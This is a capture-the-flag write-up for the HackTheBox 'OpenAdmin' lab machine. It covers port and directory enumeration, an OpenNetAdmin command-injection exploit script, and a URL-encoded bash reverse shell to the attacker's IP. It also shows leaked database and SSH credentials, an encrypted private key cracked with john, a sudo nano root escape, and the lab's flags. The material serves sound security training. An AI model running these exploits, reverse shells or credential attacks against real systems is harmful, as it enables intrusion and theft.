HHousen HackTheBox Writeups
Search
⌃K

OpenAdmin

HTB - OpenAdmin
  1. 1.
    nmap -T4 -p- -A 10.10.10.171
    Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-08 23:26 EDT
    Warning: 10.10.10.171 giving up on port because retransmission cap hit (6).
    Nmap scan report for 10.10.10.171
    Host is up (0.11s latency).
    Not shown: 47750 closed ports, 17783 filtered ports
    PORT STATE SERVICE VERSION
    22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
    | ssh-hostkey:
    | 2048 4b:98:df:85:d1:7e:f0:3d:da:48:cd:bc:92:00:b7:54 (RSA)
    | 256 dc:eb:3d:c9:44:d1:18:b1:22:b4:cf:de:bd:6c:7a:54 (ECDSA)
    |_ 256 dc:ad:ca:3c:11:31:5b:6f:e6:a4:89:34:7c:9b:e5:50 (ED25519)
    80/tcp open http?
    Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
    ​
    Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
    Nmap done: 1 IP address (1 host up) scanned in 2888.60 seconds
    Secondary Possible Nmap Command: nmap -p- -Pn -sV -sC 10.10.10.171
  2. 2.
    Enumerate HTTP
    1. 1.
      Go to http://10.10.10.171 shows default apache page
    2. 2.
      Directory busting with dirbuster: http://10.10.10.171:80, go faster, and /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt password list. Finds /ona/ and /music/ (which has a login link that goes to /ona/).
      DirBuster 1.0-RC1 - Report
      http://www.owasp.org/index.php/Category:OWASP_DirBuster_Project
      Report produced on Sat May 09 00:19:22 EDT 2020
      --------------------------------
      ​
      http://10.10.10.171:80
      --------------------------------
      Directories found during testing:
      ​
      Dirs found with a 200 response:
      ​
      /
      /music/
      /music/img/
      /music/css/
      /music/img/blog/
      /music/js/
      /music/img/playlist/
      /music/img/concept/
      /music/img/songs/
      /ona/
      /music/img/premium/
      /music/img/icons/
      /ona/images/
      /ona/include/
      /ona/modules/
      /ona/images/silk/
      /ona/include/adodb/
      /ona/include/js/
      /ona/include/xajax_suggest/
      /ona/modules/ona/
      /ona/include/xajax_drag/
      /ona/include/adodb5/
      /ona/include/xajax_webwin/
      /ona/include/auth/
      /ona/local/
      /ona/include/xajax/xajax_js/
      /ona/include/xajax/
      /ona/local/config/
      /ona/local/nmap_scans/
      /ona/include/xajax_0.2.4/
      /ona/local/plugins/
      /ona/local/nmap_scans/subnets/
      /ona/plugins/
      /ona/plugins/ona_nmap_scans/
      /ona/include/xajax_0.2.4/xajax_js/
      /ona/include/adodb/datadict/
      /ona/include/adodb/lang/
      /ona/images/silk/icons/
      /ona/include/adodb/drivers/
      /ona/plugins/ona_nmap_scans/sql/
      /ona/include/adodb/xsl/
      /ona/include/adodb5/drivers/
      /ona/include/adodb5/lang/
      /ona/include/adodb5/datadict/
      /ona/include/adodb5/xsl/
      /ona/config/
      ​
      Dirs found with a 403 response:
      ​
      /icons/
      /icons/small/
      ​
      ​
      --------------------------------
      Files found during testing:
      ​
      Files found with a 301 responce:
      ​
      /ona
      ​
      Files found with a 200 responce:
      ​
      /music/playlist.html
      /music/index.html
      /music/contact.html
      /music/blog.html
      /music/category.html
      /music/artist.html
      /music/css/font-awesome.min.css
      /music/js/jquery-3.2.1.min.js
      /music/js/WaveSurferInit.js
      /ona/login.php
      /ona/index.php
      /music/css/bootstrap.min.css
      /music/js/bootstrap.min.js
      /music/js/jplayerInit.js
      /music/css/owl.carousel.min.css
      /music/js/jquery.slicknav.min.js
      /music/css/slicknav.min.css
      /music/js/jquery.jplayer.min.js
      /music/js/owl.carousel.min.js
      /music/js/main.js
      /music/css/style.css
      /music/js/wavesurfer.min.js
      /music/js/mixitup.min.js
      /ona/modules/get_module_list.inc.php
      /ona/include/DifferenceEngine.php
      /ona/modules/ipcalc.inc.php
      /ona/modules/mangle.inc.php
      /ona/modules/mysql_purge_logs.inc.php
      /ona/include/adodb_sessions.inc.php
      /ona/modules/report_run.inc.php
      /ona/include/functions_auth.inc.php
      /ona/include/xajax_suggest/suggest.js
      /ona/include/js/global.js
      /ona/include/adodb/README.md
      /ona/modules/sql.inc.php
      /ona/modules/permissions.inc.php
      /ona/include/functions_general.inc.php
      /ona/include/adodb/adodb-active-record.inc.php
      /ona/include/js/bignumber.js
      /ona/include/xajax_suggest/suggest.css
      /ona/include/functions_gui.inc.php
      /ona/include/xajax_drag/drag.js
      /ona/include/adodb/adodb-active-recordx.inc.php
      /ona/include/xajax_webwin/webwinTT.js
      /ona/include/xajax_webwin/webwin.js
      /ona/include/functions_network_map.inc.php
      /ona/include/adodb/LICENSE.md
      /ona/include/adodb/adodb-csvlib.inc.php
      /ona/include/xajax_webwin/webwin.css
      /ona/include/xajax/xajax_js/xajax.js
      /ona/include/adodb/adodb-datadict.inc.php
      /ona/include/auth/local.class.php
      /ona/include/adodb5/LICENSE.md
      /ona/include/html_desktop.inc.php
      /ona/include/adodb5/README.md
      /ona/include/adodb/adodb-error.inc.php
      /ona/include/adodb5/adodb-active-record.inc.php
      /ona/include/xajax/xajax_js/xajax_uncompressed.js
      /ona/include/adodb/adodb-errorhandler.inc.php
      /ona/include/unknown_module_msg.inc.php
      /ona/include/adodb5/adodb-active-recordx.inc.php
      /ona/include/adodb/adodb-errorpear.inc.php
      /ona/include/adodb/adodb-exceptions.inc.php
      /ona/include/xajax/xajax.inc.php
      /ona/include/adodb5/adodb-csvlib.inc.php
      /ona/modules/ona/dns_record.inc.php
      /ona/include/adodb/adodb-iterator.inc.php
      /ona/include/xajax/README.txt
      /ona/include/xajax/xajaxCompress.php
      /ona/local/config/database_settings.inc.php
      /ona/include/adodb5/adodb-datadict.inc.php
      /ona/include/adodb/adodb-lib.inc.php
      /ona/local/config/motd.txt.example
      /ona/include/xajax/LICENSE.txt
      /ona/local/plugins/README
      /ona/include/xajax/xajaxResponse.inc.php
      /ona/include/xajax_0.2.4/README.txt
      /ona/include/xajax_0.2.4/LICENSE.txt
      /ona/include/adodb/adodb-memcache.lib.inc.php
      /ona/local/config/run_installer
      /ona/include/adodb5/adodb-error.inc.php
      /ona/include/adodb/adodb-pager.inc.php
      /ona/include/adodb5/adodb-errorhandler.inc.php
      /ona/include/xajax_0.2.4/xajax.inc.php
      /ona/include/xajax_0.2.4/xajaxCompress.php
      /ona/include/adodb5/adodb-errorpear.inc.php
      /ona/include/adodb/adodb-pear.inc.php
      /ona/modules/ona/host.inc.php
      /ona/plugins/README
      /ona/modules/ona/interface.inc.php
      /ona/include/adodb5/adodb-exceptions.inc.php
      /ona/include/xajax_0.2.4/xajaxResponse.inc.php
      /ona/modules/ona/location.inc.php
      /ona/include/adodb/adodb-perf.inc.php
      /ona/include/adodb5/adodb-iterator.inc.php
      /ona/include/adodb/adodb-php4.inc.php
      /ona/include/adodb/adodb-time.inc.php
      /ona/local/nmap_scans/subnets/nmap.xsl
      /ona/include/adodb5/adodb-lib.inc.php
      /ona/modules/ona/tag.inc.php
      /ona/include/adodb/adodb-xmlschema.inc.php
      /ona/include/adodb/adodb-xmlschema03.inc.php
      /ona/include/adodb5/adodb-memcache.lib.inc.php
      /ona/include/html_style_sheet.inc.php
      /ona/include/xajax_0.2.4/xajax_js/xajax.js
      /ona/include/adodb5/adodb-pager.inc.php
      /ona/include/adodb/adodb.inc.php
      /ona/modules/ona/vlan.inc.php
      /ona/modules/ona/vlan_campus.inc.php
      /ona/include/adodb5/adodb-pear.inc.php
      /ona/plugins/ona_nmap_scans/nmap_scan_cron
      /ona/include/adodb/composer.json
      /ona/plugins/ona_nmap_scans/plugin_info.php
      /ona/include/adodb5/adodb-perf.inc.php
      /ona/plugins/ona_nmap_scans/nmap.xsl
      /ona/include/adodb5/adodb-php4.inc.php
      /ona/include/adodb/pivottable.inc.php
      /ona/include/adodb5/adodb-xmlschema.inc.php
      /ona/include/adodb5/adodb-time.inc.php
      /ona/plugins/ona_nmap_scans/report.inc.php
      /ona/include/adodb5/adodb-xmlschema03.inc.php
      /ona/include/adodb/rsfilter.inc.php
      /ona/plugins/ona_nmap_scans/report_item.inc.php
      /ona/include/xajax_0.2.4/xajax_js/xajax_uncompressed.js
      /ona/include/adodb/server.php
      /ona/include/adodb/lang/adodb-ar.inc.php
      /ona/include/adodb/datadict/datadict-access.inc.php
      /ona/include/adodb/toexport.inc.php
      /ona/include/adodb5/adodb.inc.php
      /ona/include/adodb/datadict/datadict-db2.inc.php
      /ona/include/adodb/lang/adodb-bg.inc.php
      /ona/include/adodb/tohtml.inc.php
      /ona/include/adodb/lang/adodb-ca.inc.php
      /ona/include/adodb/datadict/datadict-generic.inc.php
      /ona/include/adodb/lang/adodb-cn.inc.php
      /ona/include/adodb/lang/adodb-cz.inc.php
      /ona/include/adodb/xmlschema.dtd
      /ona/include/adodb/lang/adodb-da.inc.php
      /ona/include/adodb/datadict/datadict-ibase.inc.php
      /ona/include/adodb5/composer.json
      /ona/include/adodb/lang/adodb-de.inc.php
      /ona/include/adodb/xmlschema03.dtd
      /ona/include/adodb5/pivottable.inc.php
      /ona/include/adodb/lang/adodb-en.inc.php
      /ona/plugins/ona_nmap_scans/sql/check_last_response.sql
      /ona/include/adodb/datadict/datadict-informix.inc.php
      /ona/include/adodb5/rsfilter.inc.php
      /ona/include/adodb/lang/adodb-eo.inc.php
      /ona/include/adodb/datadict/datadict-mssql.inc.php
      /ona/include/adodb/lang/adodb-es.inc.php
      /ona/include/adodb/lang/adodb-fa.inc.php
      /ona/include/adodb/datadict/datadict-mysql.inc.php
      /ona/plugins/ona_nmap_scans/sql/nmap_subnets.sql
      /ona/include/adodb/lang/adodb-fr.inc.php
      /ona/include/adodb/datadict/datadict-mssqlnative.inc.php
      /ona/include/adodb/lang/adodb-hu.inc.php
      /ona/include/adodb/lang/adodb-it.inc.php
      /ona/include/adodb/datadict/datadict-postgres.inc.php
      /ona/include/adodb/xsl/convert-0.1-0.2.xsl
      /ona/include/adodb/xsl/convert-0.1-0.3.xsl
      /ona/include/adodb5/toexport.inc.php
      /ona/include/adodb5/server.php
      /ona/include/adodb5/lang/adodb-ar.inc.php
      /ona/include/adodb5/tohtml.inc.php
      /ona/include/adodb/datadict/datadict-sapdb.inc.php
      /ona/include/adodb5/datadict/datadict-access.inc.php
      /ona/include/adodb/lang/adodb-nl.inc.php
      /ona/include/adodb5/datadict/datadict-db2.inc.php
      /ona/include/adodb/lang/adodb-pl.inc.php
      /ona/include/adodb/xsl/convert-0.2-0.1.xsl
      /ona/include/adodb/datadict/datadict-sqlite.inc.php
      /ona/include/adodb5/lang/adodb-bg.inc.php
      /ona/include/adodb5/xmlschema.dtd
      /ona/include/adodb/lang/adodb-pt-br.inc.php
      /ona/include/adodb5/lang/adodb-ca.inc.php
      /ona/include/adodb/datadict/datadict-sybase.inc.php
      /ona/include/adodb5/datadict/datadict-generic.inc.php
      /ona/include/adodb5/lang/adodb-cn.inc.php
      /ona/include/adodb/lang/adodb-ro.inc.php
      /ona/include/adodb/xsl/remove-0.2.xsl
      /ona/include/adodb5/datadict/datadict-ibase.inc.php
      /ona/include/adodb5/lang/adodb-cz.inc.php
      /ona/include/adodb5/xmlschema03.dtd
      /ona/include/adodb/lang/adodb-ru.inc.php
      /ona/include/adodb/xsl/remove-0.3.xsl
      /ona/include/adodb5/lang/adodb-da.inc.php
      /ona/include/adodb5/datadict/datadict-informix.inc.php
      /ona/include/adodb/xsl/convert-0.2-0.3.xsl
      /ona/include/adodb5/datadict/datadict-mssql.inc.php
      /ona/include/adodb5/lang/adodb-de.inc.php
      /ona/include/adodb/datadict/datadict-oci8.inc.php
      /ona/include/adodb/lang/adodb-sv.inc.php
      /ona/include/adodb5/datadict/datadict-mssqlnative.inc.php
      /ona/include/adodb/lang/adodb-th.inc.php
      /ona/include/adodb5/lang/adodb-en.inc.php
      /ona/include/adodb/lang/adodb-uk.inc.php
      /ona/include/adodb5/lang/adodb-es.inc.php
      /ona/include/adodb5/datadict/datadict-oci8.inc.php
      /ona/include/adodb5/lang/adodb-fa.inc.php
      /ona/include/adodb5/datadict/datadict-postgres.inc.php
      /ona/include/adodb5/xsl/convert-0.1-0.2.xsl
      /ona/include/adodb5/datadict/datadict-sapdb.inc.php
      /ona/include/adodb5/lang/adodb-hu.inc.php
      /ona/include/adodb5/xsl/convert-0.1-0.3.xsl
      /ona/include/adodb5/xsl/convert-0.2-0.1.xsl
      /ona/include/adodb5/lang/adodb-it.inc.php
      /ona/include/adodb5/lang/adodb-fr.inc.php
      /ona/include/adodb5/datadict/datadict-sqlite.inc.php
      /ona/include/adodb5/xsl/convert-0.2-0.3.xsl
      /ona/include/adodb5/lang/adodb-nl.inc.php
      /ona/include/adodb5/datadict/datadict-sybase.inc.php
      /ona/include/adodb5/lang/adodb-pl.inc.php
      /ona/include/adodb5/xsl/remove-0.3.xsl
      /ona/include/adodb5/xsl/remove-0.2.xsl
      /ona/include/adodb5/lang/adodb-ro.inc.php
      /ona/include/adodb5/lang/adodb-ru.inc.php
      /ona/include/adodb5/lang/adodb-sv.inc.php
      /ona/include/adodb5/lang/adodb-th.inc.php
      /ona/include/adodb5/lang/adodb-pt-br.inc.php
      /ona/include/adodb5/lang/adodb-uk.inc.php
      /ona/plugins/ona_nmap_scans/sql/nmap_subnets_only_yes.sql
      /ona/include/adodb5/datadict/datadict-mysql.inc.php
      /ona/include/adodb5/lang/adodb-eo.inc.php
      /ona/logout.php
      /ona/config/auth_ldap.config.php
      /ona/shell.php
      ​
      Files found with a 500 responce:
      ​
      /ona/include/xajax_drag/drag.inc.php
      /ona/include/xajax_suggest/suggest.inc.php
      /ona/modules/ona/block.inc.php
      /ona/include/functions_db.inc.php
      /ona/modules/ona/dhcp_server.inc.php
      /ona/include/xajax_setup.inc.php
      /ona/modules/ona/domain.inc.php
      /ona/modules/ona/domain_server.inc.php
      /ona/include/auth/ldap.class.php
      /ona/modules/ona/configuration.inc.php
      /ona/include/xajax_webwin/webwin.inc.php
      /ona/modules/ona/custom_attribute.inc.php
      /ona/modules/ona/message.inc.php
      /ona/modules/ona/subnet.inc.php
      /ona/modules/ona/dhcp_entry.inc.php
      /ona/modules/ona/dhcp_failover.inc.php
      /ona/modules/ona/dhcp_pool.inc.php
      /ona/plugins/ona_nmap_scans/install.php
      /ona/plugins/ona_nmap_scans/ona_nmap_scans.inc.php
      /ona/include/adodb/datadict/datadict-firebird.inc.php
      /ona/include/adodb5/datadict/datadict-firebird.inc.php
      /ona/config/config.inc.php
      ​
      ​
      --------------------------------
      ​
      Screenshot-20200509000509-1226x432.png
      ​
    3. 3.
      Search for opennetadmin v18.1.1 exploit finds OpenNetAdmin 18.1.1 - Remote Code Execution and OpenNetAdmin 18.1.1 - Command Injection Exploit (Metasploit) and Rapid7​
    4. 4.
      Metasploit
      sudo msfconsole
      use exploit/unix/webapp/opennetadmin_ping_cmd_injection
      set rhosts 10.10.10.171
      set lhost tun0
      set lport 56762
      set payload linux/x86/meterpreter_reverse_tcp
      run
    5. 5.
      Manual (Better by far) Get exploit:
      searchsploit -m exploits/php/webapps/47691.sh && chmod +x 47691.sh
      dos2unix 47691.sh
      Exploit Script:
      #!/bin/bash
      ​
      URL="${1}"
      while true;do
      echo -n "$ "; read cmd
      curl --silent -d "xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;echo \"BEGIN\";${cmd};echo \"END\"&xajaxargs[]=ping" "${URL}" | sed -n -e '/BEGIN/,/END/ p' | tail -n +2 | head -n -1
      done
      Run exploit:
      ./47691.sh http://10.10.10.171/ona/login.php
      The script runs an infinite bash loop taking commands and printing the output. The exploit adds an echo before and after the command the user runs and then uses sed to cut out the command output and ignore the rest.
      So since a reverse shell is what we want, lets modify the command to create one with bash:
      curl --silent -d "xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;bash -c 'bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.14.61%2F42548%200%3E%261'&xajaxargs[]=ping" "http://10.10.10.171/ona/login.php"
      To create the above command, bash -c 'bash -i >& /dev/tcp/10.10.14.61/42548 0>&'1 was encoded for URLs by URLencoder and placed in the command area. The -c argument to bash is necessary so bash parses the decoded command and not the URL encoded version.
  3. 3.
    Lateral Movement
    1. 1.
      Linux Enumeration
      1. 1.
        ​LinEnum.sh On Attacker:
        wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
        sudo python3 -m http.server 80
        On Target:
        wget http://10.10.14.61/LinEnum.sh
        chmod +x LinEnum.sh
        ./LinEnum.sh -r report -e /tmp/ -t
      2. 2.
        ​linuxprivchecker.py On Attacker:
        wget https://raw.githubusercontent.com/sleventyeleven/linuxprivchecker/master/linuxprivchecker.py
        sudo python3 -m http.server 80
        On Target:
        wget http://10.10.14.61/linuxprivchecker.py
        chmod +x linuxprivchecker.py
        ./LinEnum.sh -r report -e /tmp/ -t
      3. 3.
        ​LinPEAS On Attacker:
        wget https://raw.githubusercontent.com/carlospolop/privilege-escalation-awesome-scripts-suite/master/linPEAS/linpeas.sh
        sudo python3 -m http.server 80
        On Target:
        wget http://10.10.14.61/linpeas.sh
        chmod +x linpeas.sh
        ./linpeas.sh -a 2>&1 | tee linpeas_report.txt
        Info about 2>&1 and tee: https://stackoverflow.com/questions/418896/how-to-redirect-output-to-a-file-and-stdout
        Users Found:
        uid=1000(jimmy) gid=1000(jimmy) groups=1000(jimmy),1002(internal)
        uid=1001(joanna) gid=1001(joanna) groups=1001(joanna),1002(internal)
    2. 2.
      Switch from www-data to jimmy
      1. 1.
        Search /var/www/html for passwd: grep -lR passwd ./
        ./ona/plugins/ona_nmap_scans/install.php
        ./ona/LinEnum.sh
        ./ona/include/functions_db.inc.php
        ./ona/.htaccess.example
        ./ona/report-09-05-20
        ./ona/local/config/database_settings.inc.php
        ./ona/winc/user_edit.inc.php
        ./ona/winc/tooltips.inc.php
      2. 2.
        cat ./ona/local/config/database_settings.inc.php
        <?php
        $ona_contexts=array (
        'DEFAULT' =>
        array (
        'databases' =>
        array (
        0 =>
        array (
        'db_type' => 'mysqli',
        'db_host' => 'localhost',
        'db_login' => 'ona_sys',
        'db_passwd' => 'n1nj4W4rri0R!',
        'db_database' => 'ona_default',
        'db_debug' => false,
        ),
        ),
        'description' => 'Default data context',
        'context_color' => '#D3DBFF',
        ),
        );
        ​
        ?>
        Password: n1nj4W4rri0R!
    3. 3.
      jimmy to joanna: ssh [email protected] with password n1nj4W4rri0R! successful.
      1. 1.
        Run LinPEAS again to find the following:
        [+] Interesting GROUP writable files (not in Home)
        [i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#writable-files
        Group internal:
        /var/www/internal
        /var/www/internal/main.php
        /var/www/internal/logout.php
        /var/www/internal/index.php
        [+] Finding 'username' string inside /home /var/www /var/backups /tmp /etc /root /mnt (limit 70)
        /var/www/internal/index.php: $_SESSION['username'] = 'jimmy';
        /var/www/internal/linpeas.sh: for f in $tomcat; do grep "username=" $f 2>/dev/null | grep "password=" | sed "s,.*,${C}[1;31m&${C}[0m,"; done
        /var/www/internal/main.php://session_start(); if (!isset ($_SESSION['username'])) { header("Location: /index.php"); };
        ​
        [+] Looking for md5/sha1/sha256/sha512 hashes inside files (limit 50)
        /var/www/internal/index.php:'00e302ccdcf1c60b8ad50ea50cf72b939705f49f40f0dc658801b4680b7d758eebdc2e9f9ba8ba3ef8a8bb9a796d34ba2e856838ee9bdde852b8ec3b3a0523b1'
      2. 2.
        See if the files in this directory are an active site by listing /etc/apache2/sites-enabled. cat internal.conf:
        Listen 127.0.0.1:52846
        ​
        <VirtualHost 127.0.0.1:52846>
        ServerName internal.openadmin.htb
        DocumentRoot /var/www/internal
        ​
        <IfModule mpm_itk_module>
        AssignUserID joanna joanna
        </IfModule>
        ​
        ErrorLog ${APACHE_LOG_DIR}/error.log
        CustomLog ${APACHE_LOG_DIR}/access.log combined
        ​
        </VirtualHost>
        Result: The site is running on localhost:52846 as joanna.
      3. 3.
        Method 1
        1. 1.
          cat main.php
          <?php session_start();
          //$_SESSION['username']="joanna";
          if (!isset($_SESSION['username'])) { header("Location: /index.php"); };
          # Open Admin Trusted
          # OpenAdmin
          $output = shell_exec('cat /home/joanna/.ssh/id_rsa');
          echo "<pre>$output</pre>";
          ?>
          <html>
          <h3>Don't forget your "ninja" password</h3>
          Click here to logout <a href="logout.php" tite = "Logout">Session
          </html>
        2. 2.
          cat index.php includes:
          if ($_POST['username'] == 'jimmy' && hash('sha512',$_POST['password']) == '00e302ccdcf1c60b8ad50ea50cf72b939705f49f40f0dc658801b4680b7d758eebdc2e9f9ba8ba3ef8a8bb9a796d34ba2e856838ee9bdde852b8ec3b3a0523b1') {
          $_SESSION['username'] = 'jimmy';
          header("Location: /main.php");
          } else {
          $msg = 'Wrong username or password.';
          }
          Result: This file is not necessary since main.php can be accessed directly.
        3. 3.
          curl 127.0.0.1:52846/main.php gives us:
          -----BEGIN RSA PRIVATE KEY-----
          Proc-Type: 4,ENCRYPTED
          DEK-Info: AES-128-CBC,2AF25344B8391A25A9B318F3FD767D6D
          ​
          kG0UYIcGyaxupjQqaS2e1HqbhwRLlNctW2HfJeaKUjWZH4usiD9AtTnIKVUOpZN8
          ad/StMWJ+MkQ5MnAMJglQeUbRxcBP6++Hh251jMcg8ygYcx1UMD03ZjaRuwcf0YO
          ShNbbx8Euvr2agjbF+ytimDyWhoJXU+UpTD58L+SIsZzal9U8f+Txhgq9K2KQHBE
          6xaubNKhDJKs/6YJVEHtYyFbYSbtYt4lsoAyM8w+pTPVa3LRWnGykVR5g79b7lsJ
          ZnEPK07fJk8JCdb0wPnLNy9LsyNxXRfV3tX4MRcjOXYZnG2Gv8KEIeIXzNiD5/Du
          y8byJ/3I3/EsqHphIHgD3UfvHy9naXc/nLUup7s0+WAZ4AUx/MJnJV2nN8o69JyI
          9z7V9E4q/aKCh/xpJmYLj7AmdVd4DlO0ByVdy0SJkRXFaAiSVNQJY8hRHzSS7+k4
          piC96HnJU+Z8+1XbvzR93Wd3klRMO7EesIQ5KKNNU8PpT+0lv/dEVEppvIDE/8h/
          /U1cPvX9Aci0EUys3naB6pVW8i/IY9B6Dx6W4JnnSUFsyhR63WNusk9QgvkiTikH
          40ZNca5xHPij8hvUR2v5jGM/8bvr/7QtJFRCmMkYp7FMUB0sQ1NLhCjTTVAFN/AZ
          fnWkJ5u+To0qzuPBWGpZsoZx5AbA4Xi00pqqekeLAli95mKKPecjUgpm+wsx8epb
          9FtpP4aNR8LYlpKSDiiYzNiXEMQiJ9MSk9na10B5FFPsjr+yYEfMylPgogDpES80
          X1VZ+N7S8ZP+7djB22vQ+/pUQap3PdXEpg3v6S4bfXkYKvFkcocqs8IivdK1+UFg
          S33lgrCM4/ZjXYP2bpuE5v6dPq+hZvnmKkzcmT1C7YwK1XEyBan8flvIey/ur/4F
          FnonsEl16TZvolSt9RH/19B7wfUHXXCyp9sG8iJGklZvteiJDG45A4eHhz8hxSzh
          Th5w5guPynFv610HJ6wcNVz2MyJsmTyi8WuVxZs8wxrH9kEzXYD/GtPmcviGCexa
          RTKYbgVn4WkJQYncyC0R1Gv3O8bEigX4SYKqIitMDnixjM6xU0URbnT1+8VdQH7Z
          uhJVn1fzdRKZhWWlT+d+oqIiSrvd6nWhttoJrjrAQ7YWGAm2MBdGA/MxlYJ9FNDr
          1kxuSODQNGtGnWZPieLvDkwotqZKzdOg7fimGRWiRv6yXo5ps3EJFuSU1fSCv2q2
          XGdfc8ObLC7s3KZwkYjG82tjMZU+P5PifJh6N0PqpxUCxDqAfY+RzcTcM/SLhS79
          yPzCZH8uWIrjaNaZmDSPC/z+bWWJKuu4Y1GCXCqkWvwuaGmYeEnXDOxGupUchkrM
          +4R21WQ+eSaULd2PDzLClmYrplnpmbD7C7/ee6KDTl7JMdV25DM9a16JYOneRtMt
          qlNgzj0Na4ZNMyRAHEl1SF8a72umGO2xLWebDoYf5VSSSZYtCNJdwt3lF7I8+adt
          z0glMMmjR2L5c2HdlTUt5MgiY8+qkHlsL6M91c4diJoEXVh+8YpblAoogOHHBlQe
          K1I1cqiDbVE/bmiERK+G4rqa0t7VQN6t2VWetWrGb+Ahw/iMKhpITWLWApA3k9EN
          -----END RSA PRIVATE KEY-----
          The key is encrypted so lets bruteforce with johntheripper
      4. 4.
        Method 2
        1. 1.
          Reverse shell in /var/www/internal
      5. 5.
        john bruteforce RSA key:
        /usr/share/john/ssh2john.py key > hash
        sudo john hash --fork=4 -w=/usr/share/wordlists/rockyou.txt
        Result: Key is bloodninjas
    4. 4.
      joanna to root: chmod 600 key and ssh [email protected] -i key
      1. 1.
        sudo -l
        User joanna may run the following commands on openadmin:
        (ALL) NOPASSWD: /bin/nano /opt/priv
      2. 2.
        cat user.txt: User Flag: c9b2cf07d40807e62af62660f0c81b5f
      3. 3.
        Search for nano on GTFOBins​
        nano
        ^R^X
        reset; sh 1>&0 2>&0
      4. 4.
        Switch to tty: SHELL=/bin/bash script -q /dev/null
      5. 5.
        cat /root/root.txt: Root Flag: 2f907ed450b361b2c2bf4e8795d5b561
Machines - Previous
Paper
Next - Machines
Doctor
Last modified 9mo ago